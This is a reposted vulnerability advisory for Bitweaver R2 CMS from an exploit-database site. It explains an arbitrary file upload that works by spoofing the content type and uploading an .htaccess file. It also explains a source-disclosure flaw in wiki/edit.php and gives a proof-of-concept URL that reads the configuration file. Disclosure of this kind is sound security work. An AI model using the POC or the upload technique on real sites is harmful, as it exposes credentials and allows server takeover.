0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Bitweaver R2 CMS Remote File Upload / Disclosure Vulnerabilities
[================================================================
Bitweaver R2 CMS Remote File Upload / Disclosure Vulnerabilities
================================================================
########################## WwW.BugReport.ir #########################
#
# AmnPardaz Security Research Team
#
# Title: Bitweaver R2 CMS
# Vendor: http://www.bitweaver.org
# Bugs: source code disclosure, arbitrary file upload
# Vulnerable Version: 2 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix Available: No!
################################################################
####################
- Description:
####################
Bitweaver is an open source content management system. Its speed and power are ideal for large-scale community websites and corporate applications, but it is simple enough for non-technical small site users to set up and administrate.
####################
- Vulnerability:
####################
+--> arbitrary file upload
Code Snippet:
/fisheye/upload.php line#32-45
$i = 0;
foreach( array_keys( $_FILES ) as $key ) {
if( preg_match( '/(^image|pdf)/i', $_FILES[$key]['type'] ) ) {
$upImages[$key] = $_FILES[$key];
if( !empty( $_REQUEST['imagedata'][$i] ) ) {
$upData[$key] = $_REQUEST['imagedata'][$i];
} else {
$upData[$key] = array();
}
} elseif( !empty( $_FILES[$key]['tmp_name'] ) && !empty( $_FILES[$key]['name'] ) ) {
$upArchives[$key] = $_FILES[$key];
}
$i++;
}
It's possible to upload arbitrary files with image/gif content-type (this can be changed via local proxy or direct content altertion)
also its possible for an attacker to bypass "/storage/.htaccess" restriction by uploadding his own .htaccess and control server settings.
+-->source code disclosure
Code Snippet:
/wiki/edit.php line#179-195
if( isset( $_REQUEST["suck_url"] ) ) {
// Suck another page and append to the end of current
require_once( UTIL_PKG_PATH.'htmlparser/html_parser_inc.php' );
$suck_url = isset( $_REQUEST["suck_url"] ) ? $_REQUEST["suck_url"] : '';
$parsehtml = isset( $_REQUEST["parsehtml"] ) ? ( $_REQUEST["parsehtml"] == 'on' ? 'y' : 'n' ): 'n';
if( isset( $_REQUEST['do_suck'] ) && strlen( $suck_url ) > 0 ) {
.
.
.
$sdta = @file_get_contents( $suck_url );
POC: http://localhost/bitweaver/wiki/edit.php?page=SandBox&suck_url=./../kernel/config_inc.php&do_suck=h
# 0day.today [2024-11-16] #